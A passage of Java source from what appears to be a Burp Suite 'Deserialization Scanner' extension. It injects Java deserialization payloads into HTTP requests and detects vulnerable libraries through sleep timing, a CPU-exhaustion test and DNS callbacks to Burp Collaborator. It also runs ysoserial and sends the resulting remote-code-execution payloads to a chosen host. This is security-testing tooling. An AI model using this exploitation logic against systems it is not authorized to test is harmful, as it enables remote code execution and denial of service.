    			IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
                
    			HashMap<String,byte[]> currentPayloads = new HashMap<String,byte[]>();
    			HashMap<String,String> dnsCollaboratorUrls = new HashMap<String,String>();
    						
    			// Sleep payloads
    			if(enableActiveScanSleepChecks.isSelected()) {
    				
    				currentPayloads.putAll(payloadsSleep);
    			
    			} 
    			
    			// URLDNS
    			if(enableActiveScanURLDNSChecks.isSelected()) {
    				
    				String urlDnsCollaboratorUrl = collaboratorContext.generatePayload(true);				
    				byte[] urldnsFinalPayload = createUrlDnsVector(payloadURLDNS,urlDnsCollaboratorUrl);
    				currentPayloads.put("URLDNS", urldnsFinalPayload);
    				dnsCollaboratorUrls.put("URLDNS", urlDnsCollaboratorUrl);
    				
    			}
    			
    			// DNS
    			if(enableActiveScanDNSChecks.isSelected()) {
    				
    				//currentPayloads = new HashMap<String,byte[]>();
    								
    				Set<String> payloadDnsKeys = payloadsDNS.keySet();
    				Iterator<String> iter = payloadDnsKeys.iterator();
    	    		String currentKey;
    	    		byte[] currentValue;
    	    		String currentCollaboratorPayload;
    	    		byte[] dnsPayloadWithCollaboratorPayload;
    	    		while (iter.hasNext()) {
    					
    	    			currentKey = iter.next();
    	    			currentValue = payloadsDNS.get(currentKey);
    	    			currentCollaboratorPayload = collaboratorContext.generatePayload(true);
    	    			
    	    			dnsPayloadWithCollaboratorPayload = createDnsVector(currentValue,currentCollaboratorPayload,currentKey);
    	    			    	    			
    	    			currentPayloads.put(currentKey, dnsPayloadWithCollaboratorPayload);
    	    			dnsCollaboratorUrls.put(currentKey, currentCollaboratorPayload);
    	    			
    	    		}				
    				
    			}            	
            	
            	List<String> headers = requestInfo.getHeaders();
    
            	Set<String> payloadKeys = currentPayloads.keySet();
            	Iterator<String> iter = payloadKeys.iterator();
            	String currentKey;
            	
            	while (iter.hasNext()) {
                    
                   currentKey = iter.next();
                    
                   byte[] newBody = null; 
                   if(magicPos > -1)    {  
                       // Put directly the payload
                       newBody = ArrayUtils.addAll(Arrays.copyOfRange(request, bodyOffset, magicPos),currentPayloads.get(currentKey));                
                   } else if(magicPosBase64 > -1) {
                       // Encode the payload in Base64
                       newBody = ArrayUtils.addAll(Arrays.copyOfRange(request, bodyOffset, magicPosBase64),Base64.encodeBase64(currentPayloads.get(currentKey)));
                   } else if(magicPosAsciiHex > -1) {
                       // Encode the payload in Ascii HEX
                       newBody = ArrayUtils.addAll(Arrays.copyOfRange(request, bodyOffset, magicPosAsciiHex),Hex.encodeHexString(currentPayloads.get(currentKey)).getBytes());
                   } else if(magicPosBase64Gzip > -1) {
                        // Encode/compress the payload in Gzip and Base64
                        newBody = ArrayUtils.addAll(Arrays.copyOfRange(request, bodyOffset, magicPosBase64Gzip),Base64.encodeBase64(gzipData(currentPayloads.get(currentKey))));
					} else {
						// Encode/compress the payload with Gzip
					    newBody = ArrayUtils.addAll(Arrays.copyOfRange(request, bodyOffset, magicPosGzip),gzipData(currentPayloads.get(currentKey)));
					}

                   byte[] newRequest = helpers.buildHttpMessage(headers, newBody);
                   long startTime = System.nanoTime();
                   IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), newRequest);
                   long endTime = System.nanoTime();
                   long duration = (long)((((float)(endTime - startTime))) / 1000000000L);  //divide by 1000000 to get milliseconds.
                    
                   List<IBurpCollaboratorInteraction> collaboratorInteractions = null;
                   if(currentKey.contains("DNS")) {
                	   collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(dnsCollaboratorUrls.get(currentKey));
                   }
        		
                   if( (currentKey.contains("Sleep") && ((int)duration) >= 9 ) || (currentKey.contains("DNS") && collaboratorInteractions.size() > 0 ) ) {
                                           
                       // Vulnerability found
                        
                       List<int[]> requestMarkers = new ArrayList<int[]>();
                        
                       int markerStartPos = 0;
                       String issueEncoding = "";
                       if(magicPos > -1) {
                           markerStartPos = helpers.indexOf(newRequest, serializeMagic, false, 0, newRequest.length);
                       } else if(magicPosBase64 > -1) {
                           markerStartPos = helpers.indexOf(newRequest, base64Magic, false, 0, newRequest.length);
                           issueEncoding = issueEncoding + " (encoded in Base64)";
                       } else if (magicPosAsciiHex > -1) {
                           markerStartPos = helpers.indexOf(newRequest, asciiHexMagic, false, 0, newRequest.length);
                           issueEncoding = issueEncoding + " (encoded in Ascii HEX)";
                       } else if (magicPosBase64Gzip > -1) {
                           markerStartPos = helpers.indexOf(newRequest, base64GzipMagic, false, 0, newRequest.length);
                           issueEncoding = issueEncoding + " (encoded in Base64 and Gzipped)";
                       } else {
                           markerStartPos = helpers.indexOf(newRequest, gzipMagic, false, 0, newRequest.length);
                           issueEncoding = issueEncoding + " (encoded/compressed with Gzip)";
                       }
                       requestMarkers.add(new int[]{markerStartPos,newRequest.length});
                       
                       if(currentKey.equals("URLDNS")) {
	        				
	        				issues.add(new CustomScanIssue(
	                                baseRequestResponse.getHttpService(),
	                                helpers.analyzeRequest(baseRequestResponse).getUrl(), 
	                                new IHttpRequestResponse[] { callbacks.applyMarkers(checkRequestResponse, requestMarkers, new ArrayList<int[]>()) }, 
	                                activeDetectionIssue + "DNS resolution" + issueEncoding,
	                                activeDetectionSeverity,
	                                activeDetectionConfidenceDns,
	                                activeDetectionIssueDetails,
	                                remediationDetail));
	        				
	        			} else {
	        				
	        				issues.add(new CustomScanIssue(
	                                baseRequestResponse.getHttpService(),
	                                helpers.analyzeRequest(baseRequestResponse).getUrl(), 
	                                new IHttpRequestResponse[] { callbacks.applyMarkers(checkRequestResponse, requestMarkers, new ArrayList<int[]>()) }, 
	                                rceIssue + rceIssueVulnerableLibrary + currentKey + issueEncoding,
	                                rceSeverity,
	                                (currentKey.contains("Sleep")) ? rceConfidenceSleep : rceConfidenceDns,
	                                rceIssueDetail + rceIssueDetailVulnerableLibrary + currentKey + ". " + ((currentKey.contains("Sleep")) ? issueDetailTimeWarning : ""),
	                                remediationDetail));
	        				
	        			}

                   }
                    
               }           
                
            }

        }	
    	       
        if(issues.size() > 0) {
        	//stdout.println("Reporting " + issues.size() + " active results");
        	return issues;
        } else {
        	return null;
        }

    }

    public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) {
    	
        if (existingIssue.getIssueName().equals(newIssue.getIssueName())) {
        	
        	byte[] existingRequestResponse = existingIssue.getHttpMessages()[0].getRequest();
        	byte[] newRequestResponse = newIssue.getHttpMessages()[0].getRequest();
            
        	int existingMagicPos = helpers.indexOf(existingRequestResponse, serializeMagic, false, 0, existingRequestResponse.length);
        	int newMagicPos = helpers.indexOf(newRequestResponse, serializeMagic, false, 0, newRequestResponse.length);
        	
    		int existingMagicPosBase64 = helpers.indexOf(existingRequestResponse, base64Magic, false, 0, existingRequestResponse.length);
    		int newMagicPosBase64 = helpers.indexOf(newRequestResponse, base64Magic, false, 0, newRequestResponse.length);
    		
    		int existingMagicPosAsciiHex = helpers.indexOf(existingRequestResponse, asciiHexMagic, false, 0, existingRequestResponse.length);
    		int newMagicPosAsciiHex = helpers.indexOf(newRequestResponse, asciiHexMagic, false, 0, newRequestResponse.length);
        	
            int existingMagicPosBase64Gzip = helpers.indexOf(existingRequestResponse, base64GzipMagic, false, 0, existingRequestResponse.length);
            int newMagicPosBase64Gzip = helpers.indexOf(newRequestResponse, base64GzipMagic, false, 0, newRequestResponse.length);
            
            int existingMagicPosGzip = helpers.indexOf(existingRequestResponse, gzipMagic, false, 0, existingRequestResponse.length);
            int newMagicPosGzip = helpers.indexOf(newRequestResponse, gzipMagic, false, 0, newRequestResponse.length);
            
        	if((existingMagicPos > -1) && (newMagicPos > -1)) {
        		        		
            	if(existingMagicPos == newMagicPos) {
                	
    	        	//stdout.println("Consolidate duplicate issue");	        	
    	        	return -1;
    	        
            	} else {
            	
            		return 0;
            	
            	}        		
        		
        	} else if((existingMagicPosBase64 > -1) && (newMagicPosBase64 > -1)) {
        		
        		if(existingMagicPosBase64 == newMagicPosBase64) {
                	
    	        	//stdout.println("Consolidate duplicate issue");	        	
    	        	return -1;
    	        
            	} else {
            	
            		return 0;
            	
            	}  
        		
        	} else if ((existingMagicPosAsciiHex > -1) && (newMagicPosAsciiHex > -1)){
        		
        		if(existingMagicPosAsciiHex == newMagicPosAsciiHex) {
                	
    	        	//stdout.println("Consolidate duplicate issue");	        	
    	        	return -1;
    	        
            	} else {
            	
            		return 0;
            	
            	}  

        	} else if ((existingMagicPosBase64Gzip > -1) && (newMagicPosBase64Gzip > -1)){
                
                if(existingMagicPosBase64Gzip == newMagicPosBase64Gzip) {
                    
                    //stdout.println("Consolidate duplicate issue");                
                    return -1;
                
                } else {
                
                    return 0;
                
                } 

            } else {
                
                if(existingMagicPosGzip == newMagicPosGzip) {
                    
                    //stdout.println("Consolidate duplicate issue");                
                    return -1;
                
                } else {
                
                    return 0;
                
                }  
            } 

        } else { 
        	
        	return 0;
        	
        }
        
    }


	public String getTabCaption() {
		return "Deserialization Scanner";
	}


	public Component getUiComponent() {
		return mainPanel;
	}


	public void actionPerformed(ActionEvent event) {

		String command = event.getActionCommand();
		
		if(command.equals("attack")) {
			
			int choice = 0; 
			if(((String)(typeManualTest.getSelectedItem())).equals(BurpExtender.TEST_CPU)) {	
				choice = JOptionPane.showOptionDialog(mainPanel, dialogMessage, dialogTitle, JOptionPane.YES_NO_OPTION, JOptionPane.INFORMATION_MESSAGE, null, dialogButtonsMessages, dialogButtonsMessages[1]);
			}
			
			final List<Transformation> ts = new ArrayList<Transformation>();
			
			for(int i=0; i<addedTransformationsManualTestingListModel.getSize();i++) {
				
				ts.add(addedTransformationsManualTestingListModel.getElementAt(i));			
								
			}	
						
			if(choice == 0 ){

				Thread t = new Thread() {
				    public void run() {
				    	executeManualTest(ts, (String)(typeManualTest.getSelectedItem()));
				    }
				};
				t.start();
				
			}
                    
        } else if(command.equals("setInsertionPoint")) {
        	        				
			insertInjectionCharacters(requestAreaManualTesting);
			
		} else if(command.equals("clear")) {
			
			clearInsertionPoint(requestAreaManualTesting);
			
		} else if(command.equals("sendToDeserializationTester")) {
			
			sendToDeserializationTester(hostManualTesting,portManualTesting,useHttpsManualTesting,requestAreaManualTesting);
			
		} else if(command.equals("enableDisableActiveScanSleepChecks") || command.equals("enableDisableActiveScanDNSChecks") || command.equals("enableDisableActiveScanURLDNSChecks")) {
			
			enableDisableActiveScanChecks();
			
		} else if(command.equals("setInsertionPointExploitation")) {
			
			insertInjectionCharacters(requestAreaExploitingTop);
			
		} else if(command.equals("clearExploitation")) {
			
			clearInsertionPoint(requestAreaExploitingTop);
			
		} else if(command.equals("sendToDeserializationTesterExploitation")) {
			
			sendToDeserializationTester(hostExploiting,portExploiting,useHttpsExploiting,requestAreaExploitingTop);
					
		} else if(command.equals("attackExploitation")) {
						
			final List<Transformation> ts = new ArrayList<Transformation>();
			
			for(int i=0; i<addedTransformationsExploitationListModel.getSize();i++) {
				
				ts.add(addedTransformationsExploitationListModel.getElementAt(i));			
								
			}	
						
			Thread t = new Thread() {
			    public void run() {
			    	attackExploitation(ts, BurpExtender.TYPE_RAW);
			    }
			};
			t.start();	
			
		} else if(command.equals("changeExploitationLabel")) {	
			
			SwingUtilities.invokeLater(new Runnable() {
				
	            public void run() {
			
					if(enableExploitationHibernate5.isSelected())
						labelExploitingBottom.setText("java -Dhibernate5 -jar ysoserial");
					else
						labelExploitingBottom.setText("java -jar ysoserial");
					
	            }
	            
			});
			
        } else if(command.equals("sendRepeaterManualTesting")) {
			
			callbacks.sendToRepeater(hostManualTesting.getText().trim(), Integer.parseInt(portManualTesting.getText().trim()), useHttpsManualTesting.isSelected(), requestAreaManualTesting.getText().getBytes(), null);
						
		} else if(command.equals("sendExploitingManualTesting")) {
			
			SwingUtilities.invokeLater(new Runnable() {
				
	            public void run() {
			
					hostExploiting.setText(hostManualTesting.getText().trim());
					portExploiting.setText(portManualTesting.getText().trim());
					if(useHttpsManualTesting.isSelected()) {
						useHttpsExploiting.setSelected(true);
					} else {
						useHttpsExploiting.setSelected(false);
					}
					requestAreaExploitingTop.setText(requestAreaManualTesting.getText());
					
	            }
			});
					
		} else if(command.equals("sendRepeaterExploiting")) {
			
			callbacks.sendToRepeater(hostExploiting.getText().trim(), Integer.parseInt(portExploiting.getText().trim()), useHttpsExploiting.isSelected(), requestAreaExploitingTop.getText().getBytes(), null);
						
		} else if(command.equals("sendManualTestingExploiting")) {
			
			SwingUtilities.invokeLater(new Runnable() {
				
	            public void run() {
	            	
	            	hostManualTesting.setText(hostExploiting.getText().trim());
	            	portManualTesting.setText(portExploiting.getText().trim());
					if(useHttpsExploiting.isSelected()) {
						useHttpsManualTesting.setSelected(true);
					} else {
						useHttpsManualTesting.setSelected(false);
					}
					requestAreaManualTesting.setText(requestAreaExploitingTop.getText());
			
	            }
			});
					
		} else if (command.equals("addTransformationManualTesting")) {
			
			SwingUtilities.invokeLater(new Runnable() {
				
	            public void run() {
	            		            	
	            	int index = transformationsManualTestingList.getSelectedIndex();
	            	addedTransformationsManualTestingListModel.addElement(transformationsListManualTestingModel.elementAt(index));
					
	            }
			});		
			
		} else if (command.equals("removeTransformationManualTesting")) {
			
			SwingUtilities.invokeLater(new Runnable() {
				
	            public void run() {
	            		            	
	            	int index = addedTransformationsManualTestingList.getSelectedIndex();
	            	if(index != -1) {
	            		addedTransformationsManualTestingListModel.remove(index);
	            	}
	            						
	            }
			});		
			
		} else if (command.equals("addTransformationExploitation")) {
			
			SwingUtilities.invokeLater(new Runnable() {
				
	            public void run() {
	            		            	
	            	int index = transformationsExploitationList.getSelectedIndex();
	            	addedTransformationsExploitationListModel.addElement(transformationsListExploitationModel.elementAt(index));
					
	            }
			});		
			
		} else if (command.equals("removeTransformationExploitation")) {
			
			SwingUtilities.invokeLater(new Runnable() {
				
	            public void run() {
	            		            	
	            	int index = addedTransformationsExploitationList.getSelectedIndex();
	            	if(index != -1) {
	            		addedTransformationsExploitationListModel.remove(index);
	            	}
	            						
	            }
			});		
			
		}
		
	}	
	
	public void enableDisableActiveScanChecks() {
		
		if(enableActiveScanSleepChecks.isSelected() || enableActiveScanDNSChecks.isSelected() || enableActiveScanURLDNSChecks.isSelected()) {
			
			callbacks.registerScannerCheck(this);
			
		} else {
			
			callbacks.removeScannerCheck(this);
			
		}
				
	}
	
	public void clearInsertionPoint(JTextArea requestArea) {
		
		requestArea.setText(requestArea.getText().replace(""+insertionPointChar,""));
		
		Highlighter highlighter = requestArea.getHighlighter();
		highlighter.removeAllHighlights();
				
	}
	
	public void sendToDeserializationTester(JTextField host, JTextField port, JCheckBox useHttps, JTextArea requestArea) {
		
		IHttpService httpService = selectedItems[0].getHttpService();
		byte[] request = selectedItems[0].getRequest();
		
		host.setText(httpService.getHost());
		port.setText(Integer.toString(httpService.getPort()));
		
		if(httpService.getProtocol().equals("https")) {
			useHttps.setSelected(true);
		} else {
			useHttps.setSelected(false);
		}
		
		requestArea.setText(new String(request));
		
		// Clear old highlighter
		Highlighter highlighter = requestArea.getHighlighter();
		highlighter.removeAllHighlights();
		
	}
	
	public void insertInjectionCharacters(JTextArea requestArea) {
		
		Highlighter highlighter = requestArea.getHighlighter();
		Highlight[] highlights = highlighter.getHighlights();
		
		int start = highlights[0].getStartOffset();
		int end = highlights[0].getEndOffset();
		
		highlighter.removeAllHighlights();
		
		String requestString = requestArea.getText();

		String newRequestString = requestString.substring(0, start) + insertionPointChar + requestString.substring(start, end) + insertionPointChar + requestString.substring(end, requestString.length());
		
		requestArea.setText(newRequestString);
		
		HighlightPainter painter = new DefaultHighlighter.DefaultHighlightPainter(Color.pink);
		
		try {
			highlighter.addHighlight(start, end+2, painter );
		} catch (BadLocationException e) {
			stderr.println("Error with the highlight of the insertion point");
			stderr.println(e.toString());
		}
		
	}
	
	public byte[] generateYsoserialPayload() {
		
		String pathYsoserial = ysoserialPath.getText().trim();
		
		try {
			
			String[] commandParts = translateCommandline(requestAreaExploitingBottom.getText().trim());
			
			Runtime rt = Runtime.getRuntime();
			
			String[] commands;
			if(enableExploitationHibernate5.isSelected()) {
				String[] temp = {"java","-Dhibernate5","-jar",pathYsoserial};
				commands = temp;
			} else {
				String[] temp = {"java","-jar",pathYsoserial};
				commands = temp;
			}
			String[] fullCommands = ArrayUtils.addAll(commands, commandParts);
			Process proc = rt.exec(fullCommands);
			
			InputStream stdInput = proc.getInputStream();
			BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
			
			byte[] outputYSoSerial = IOUtils.toByteArray(stdInput);
			
			if(outputYSoSerial.length == 0) {
				
				String s = stdError.readLine();
				if(s != null) {
					stderr.println("ERROR");
					stderr.println(s);
					while ((s = stdError.readLine()) != null) {
						stderr.println(s);
					}
				}
				
				return null;
				
			} else {
				
				return outputYSoSerial;
				
			}
						
		} catch (IOException e) {
			stderr.println(e.toString());
			return null;
		}
		
		
	}
	
	public void attackExploitation(List<Transformation> transformations, int encoding) {		
		
		attackButtonExploiting.setEnabled(false);
		
		String requestString = requestAreaExploitingTop.getText();
		int payloadFrom = requestString.indexOf(insertionPointChar);
		int payloadTo = requestString.lastIndexOf(insertionPointChar);
								
		if(payloadFrom != payloadTo) {
			
			IHttpService httpService = helpers.buildHttpService(hostExploiting.getText().trim(), Integer.parseInt(portExploiting.getText().trim()), useHttpsExploiting.isSelected());

			byte[] prePayloadRequest =  requestString.substring(0, payloadFrom).getBytes();
			byte[] postPayloadRequest = requestString.substring(payloadTo+1,requestString.length()).getBytes();
			
			byte[] payloadYSoSerial = generateYsoserialPayload();
			
			if(payloadYSoSerial != null) {
				
				byte[] request;
				
				request = payloadYSoSerial;
    			for (Transformation t : transformations) {
    				try {
    					request = t.transform(request);
    				} catch (Exception e) {
    					stderr.println("Error while trying to " + t.toString() + " - " + e.getMessage());
    					request = ("ERROR in " + t.toString()).getBytes();
    				}
    			}
    			request = ArrayUtils.addAll(prePayloadRequest, request);
    			request = ArrayUtils.addAll(request,postPayloadRequest);
    			
    			IRequestInfo requestInfo = helpers.analyzeRequest(request);
    			List<String> headers = requestInfo.getHeaders();
    			byte[] body = Arrays.copyOfRange(request, requestInfo.getBodyOffset(), request.length);
    			request = helpers.buildHttpMessage(headers, body); 			
    			
    			long startTime = System.nanoTime();
    			currentExploitationRequestResponse = callbacks.makeHttpRequest(httpService, request);
    			long endTime = System.nanoTime();
        		    			
        		long duration = TimeUnit.MILLISECONDS.convert((endTime - startTime), TimeUnit.NANOSECONDS);
        		
				resultAreaExploitingTopRequest.setMessage(currentExploitationRequestResponse.getRequest(), true);
				resultAreaExploitingTopResponse.setMessage(currentExploitationRequestResponse.getResponse(), false);
        		resultAreaExploitingBottom.setText("Time to execute: " + duration + " milliseconds");
				
				
			} else {
				
				resultAreaExploitingTopRequest.setMessage("ERROR IN YSOSERIAL COMMAND. SEE STDERR FOR DETAILS".getBytes(), true);
				resultAreaExploitingTopResponse.setMessage("ERROR IN YSOSERIAL COMMAND. SEE STDERR FOR DETAILS".getBytes(), false);
				
			}			
			
		} else {
			
			resultAreaExploitingTopRequest.setMessage("MISSING ENTRY POINTS".getBytes(), true);
			resultAreaExploitingTopResponse.setMessage("MISSING ENTRY POINTS".getBytes(), false);
			
		}
		
		attackButtonExploiting.setEnabled(true);
		
	}	
	
	
	public void executeManualTest(List<Transformation> transformations, String testType) {
		
		attackButtonManualTesting.setEnabled(false);
		
		String requestString = requestAreaManualTesting.getText();
		int payloadFrom = requestString.indexOf(insertionPointChar);
		int payloadTo = requestString.lastIndexOf(insertionPointChar);
						
		boolean positiveResult = false;
		
		if(payloadFrom != payloadTo) {
			
			// Collaborator context for DNS payloads
			IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
			
			IHttpService httpService = helpers.buildHttpService(hostManualTesting.getText().trim(), Integer.parseInt(portManualTesting.getText().trim()), useHttpsManualTesting.isSelected());

			byte[] prePayloadRequest =  requestString.substring(0, payloadFrom).getBytes();
			byte[] postPayloadRequest = requestString.substring(payloadTo+1,requestString.length()).getBytes();
			HashMap<String,byte[]> currentPayloads = null;
			
			HashMap<String,String> dnsCollaboratorUrls = new HashMap<String,String>();
			
			// Sleep payloads
			if(testType.equals(BurpExtender.TEST_SLEEP)) {
				
				currentPayloads = payloadsSleep;
				    		
	    		resultAreaManualTesting.setText("<p><b>SCANNING IN PROGRESS</b></p>"
	    				+ "<p>Scanning can go on approximately from 1 second up to 3 minutes, based on the number of vulnerable libraries found</p>");
			
			} else if(testType.equals(BurpExtender.TEST_CPU)) {
				
				currentPayloads = new HashMap<String,byte[]>();
				currentPayloads.put("SerialDOS limited", payloadSerialDosLimited);
				
				resultAreaManualTesting.setText("<p><b>SCANNING IN PROGRESS</b></p>"
	    				+ "<p>Scanning can go on approximately from 1 second up to 10 minutes, based on presence of the issue and the computational power of the server</p>");
			
			} else if(testType.equals(BurpExtender.TEST_URLDNS)) {
				
				currentPayloads = new HashMap<String,byte[]>();
				
				String currentCollaboratorPayload = collaboratorContext.generatePayload(true);    			
    			byte[] dnsPayloadWithCollaboratorPayload = createUrlDnsVector(payloadURLDNS,currentCollaboratorPayload);    			
    			currentPayloads.put("URLDNS", dnsPayloadWithCollaboratorPayload);
    			dnsCollaboratorUrls.put("URLDNS", currentCollaboratorPayload);
				
				resultAreaManualTesting.setText("<p><b>SCANNING IN PROGRESS</b></p>");
				
			} else if(testType.equals(BurpExtender.TEST_DNS)) {
				
				currentPayloads = new HashMap<String,byte[]>();
				
				
				resultAreaManualTesting.setText("<p><b>SCANNING IN PROGRESS</b></p>");
								
				Set<String> payloadDnsKeys = payloadsDNS.keySet();
				Iterator<String> iter = payloadDnsKeys.iterator();
	    		String currentKey;
	    		byte[] currentValue;
	    		String currentCollaboratorPayload;
	    		byte[] dnsPayloadWithCollaboratorPayload;
	    		while (iter.hasNext()) {
					
	    			currentKey = iter.next();
	    			currentValue = payloadsDNS.get(currentKey);
	    			currentCollaboratorPayload = collaboratorContext.generatePayload(true);
	    			
	    			dnsPayloadWithCollaboratorPayload = createDnsVector(currentValue,currentCollaboratorPayload, currentKey);
	    			
	    			currentPayloads.put(currentKey, dnsPayloadWithCollaboratorPayload);
	    			dnsCollaboratorUrls.put(currentKey, currentCollaboratorPayload);
	    			
	    		}				
				
			}
						
			Set<String> payloadKeys = currentPayloads.keySet();
			Iterator<String> iter = payloadKeys.iterator();
    		String currentKey;
			
    		String result = "<p><b>Results:</b></p>";
    		result = result + "<ul>";
			
    		while (iter.hasNext()) {
				
    			currentKey = iter.next();    			
    			
    			byte[] request;
    			
    			request = currentPayloads.get(currentKey);
    			for (Transformation t : transformations) {
    				//stdout.println("Applying transformation " + t.toString());
    				try {
    					request = t.transform(request);
    				} catch (Exception e) {
    					stderr.println("Error while trying to " + t.toString() + " - " + e.getMessage());
    					request = ("ERROR in " + t.toString()).getBytes();
    				}
    			}
    			request = ArrayUtils.addAll(prePayloadRequest, request);
    			request = ArrayUtils.addAll(request,postPayloadRequest);
    			    			
    			IRequestInfo requestInfo = helpers.analyzeRequest(request);
    			List<String> headers = requestInfo.getHeaders();
    			byte[] body = Arrays.copyOfRange(request, requestInfo.getBodyOffset(), request.length);
    			request = helpers.buildHttpMessage(headers, body); 			
    		    			
    			long startTime = System.nanoTime();
    			IHttpRequestResponse requestResponse = callbacks.makeHttpRequest(httpService, request);
    			long endTime = System.nanoTime();
        		    			
        		long duration = TimeUnit.SECONDS.convert((endTime - startTime), TimeUnit.NANOSECONDS);
        		        		
        		result = result + "<li>" + currentKey + ": ";
        		        		
        		List<IBurpCollaboratorInteraction> collaboratorInteractions = null;
        		if(testType.equals(BurpExtender.TEST_DNS) || testType.equals(BurpExtender.TEST_URLDNS)) {
        			collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(dnsCollaboratorUrls.get(currentKey));
        		}
        		
        		/*
        		// DEBUG
        		if(collaboratorInteractions != null) {
        			Map<String,String> collaboratorInteractionPropertis;
        			for(int i=0; i< collaboratorInteractions.size();i++) {
        				collaboratorInteractionPropertis = collaboratorInteractions.get(i).getProperties();
        				Set<String> keys = collaboratorInteractionPropertis.keySet();
        				Iterator<String> iterator = keys.iterator();
        				String currentKey2;
        				String currentValue;
        				while(iterator.hasNext()) {
        					currentKey2 = iterator.next();
        					currentValue = collaboratorInteractionPropertis.get(currentKey2);
        					stdout.println("Current key: " + currentKey2);
        					stdout.println("Current value: " + currentValue);
        				}
        			}
        		}
        		// END DEBUG	
        		*/
        		
        		//if(( testType.equals(BurpExtender.TEST_SLEEP) && (((int)duration) >= 10)) || ( testType.equals(BurpExtender.TEST_CPU) && (((int)duration) >= 60)) ){
        		if( ( ( testType.equals(BurpExtender.TEST_SLEEP) || testType.equals(BurpExtender.TEST_CPU) ) && (((int)duration) >= 9) ) || (( testType.equals(BurpExtender.TEST_DNS) || testType.equals(BurpExtender.TEST_URLDNS) ) && ( collaboratorInteractions.size() > 0 ) ) ) {
        			
        			positiveResult = true;
        			
        			result = result + "<font color=\"red\"><b>Potentially VULNERABLE!!!";
        			if(testType.equals(BurpExtender.TEST_SLEEP) || testType.equals(BurpExtender.TEST_CPU)) {        			
        				long durationMillis = TimeUnit.MILLISECONDS.convert((endTime - startTime), TimeUnit.NANOSECONDS);
        				result = result + " Response time: " + durationMillis + " milliseconds";          				
        			}
        			result = result + "</b></font>";
        			
        			if(addManualIssueToScannerResultManualTesting.isSelected()) {
        				
        				List<int[]> requestMarkers = new ArrayList<int[]>();
        				requestMarkers.add(new int[] {payloadFrom,requestResponse.getRequest().length - postPayloadRequest.length});
        				
        				StringBuilder issueTransformations = new StringBuilder("");
        				if (!transformations.isEmpty()) {
        					boolean first = true;
        					for (Transformation t : transformations) {
        						issueTransformations.append(first ? " (" : ", ");
        						first = false;
        						issueTransformations.append(t.toString());
        					}
        					issueTransformations.append(')');
        				}
        				
        				String currentIssueDetail = rceIssueDetail;  
        				if( testType.equals(BurpExtender.TEST_SLEEP)|| testType.equals(BurpExtender.TEST_DNS)) {
        					currentIssueDetail = currentIssueDetail + rceIssueDetailVulnerableLibrary + currentKey + ". ";       					
        				}
        				
        				/*//TODO REmove
        				callbacks.addScanIssue(new CustomScanIssue(
        						requestResponse.getHttpService(),
                                helpers.analyzeRequest(requestResponse).getUrl(), 
                                new IHttpRequestResponse[] { callbacks.applyMarkers(requestResponse, requestMarkers, new ArrayList<int[]>()) }, 
                                issueName.toString(),
                                rceSeverity,
                                rceConfidenceSleep,
                                currentIssueDetail,
                                remediationDetail));*/   	
        				
        				if(currentKey.equals("URLDNS") || currentKey.equals("SerialDOS limited")) {
	        				
        					callbacks.addScanIssue(new CustomScanIssue(
        							requestResponse.getHttpService(),
	                                helpers.analyzeRequest(requestResponse).getUrl(), 
	                                new IHttpRequestResponse[] { callbacks.applyMarkers(requestResponse, requestMarkers, new ArrayList<int[]>()) }, 
	                                activeDetectionIssue + ((currentKey.equals("URLDNS"))?"DNS resolution":"CPU time") + issueTransformations.toString() + " - Manual testing",
	                                activeDetectionSeverity,
	                                (currentKey.equals("URLDNS") ? activeDetectionConfidenceDns : activeDetectionConfidenceSleep),
	                                activeDetectionIssueDetails + ((currentKey.equals("SerialDOS limited")) ? issueDetailTimeWarning : ""),
	                                remediationDetail));
	        				
	        			} else {
	        				
	        				callbacks.addScanIssue(new CustomScanIssue(
	        						requestResponse.getHttpService(),
	                                helpers.analyzeRequest(requestResponse).getUrl(), 
	                                new IHttpRequestResponse[] { callbacks.applyMarkers(requestResponse, requestMarkers, new ArrayList<int[]>()) }, 
	                                rceIssue + rceIssueVulnerableLibrary + currentKey + issueTransformations.toString() + " - Manual testing",
	                                rceSeverity,
	                                (currentKey.contains("Sleep")) ? rceConfidenceSleep : rceConfidenceDns,
	                                currentIssueDetail + ((currentKey.contains("Sleep")) ? issueDetailTimeWarning : ""),
	                                remediationDetail));
	        				
	        			}        				
        				
        			}
        			
        		} else {
        			
        			result = result + "NOT vulnerable.";
        			
        			if(testType.equals(BurpExtender.TEST_SLEEP) || testType.equals(BurpExtender.TEST_CPU)) {   
        				long durationMillis = TimeUnit.MILLISECONDS.convert((endTime - startTime), TimeUnit.NANOSECONDS);
        				result = result + " Response time: " + durationMillis + " milliseconds";   				
        			}
        			
        			
        		}
        		
        		
        		if(verboseModeManualTesting.isSelected()) {
        			result = result + "<br/><br/><b>Request:</b><br/>";
        			result = result + "<pre>" + StringEscapeUtils.escapeHtml4(new String(requestResponse.getRequest())) + "</pre>";
        			result = result + "<br/><br/><b>Response:</b><br/>";
        			result = result + "<pre>" + StringEscapeUtils.escapeHtml4(new String(requestResponse.getResponse())) + "</pre>";
        			result = result + "<br/><br/>";
        		}
        		
        		
        		result = result + "</li>";
        		
    		}
    			
    		result = result + "</ul><p><b>END</b></p>";
    		
    		if(positiveResult && ( testType.equals(BurpExtender.TEST_CPU) || testType.equals(BurpExtender.TEST_SLEEP)) ) {
    			
    			result = result + "<p><b>IMPORTANT NOTE: High delayed networks may produce false positives!</b></p>";
    			
    		}
    		
    		resultAreaManualTesting.setText(result); 			
			
		} else {
			
			resultAreaManualTesting.setText("<p><b>MISSING ENTRY POINTS</b></p>");
			
		}
		
		attackButtonManualTesting.setEnabled(true);
	}
	
	public byte[] createDnsVector(byte[] origVector, String collaboratorURL, String vectorKey) {
		
		String hostTokenString = "XXXXX";
		
		int indexFirstCharacter = helpers.indexOf(origVector, hostTokenString.getBytes(), true, 0, origVector.length);
		int indexLastCharacter = indexFirstCharacter + hostTokenString.length() -1;
				
		int newCollaboratorVectorLength = collaboratorURL.length();
		
		byte[] preDNSVector = Arrays.copyOfRange(origVector, 0, indexFirstCharacter);
		byte[] postDNSVector = Arrays.copyOfRange(origVector, indexLastCharacter+1, origVector.length);
		
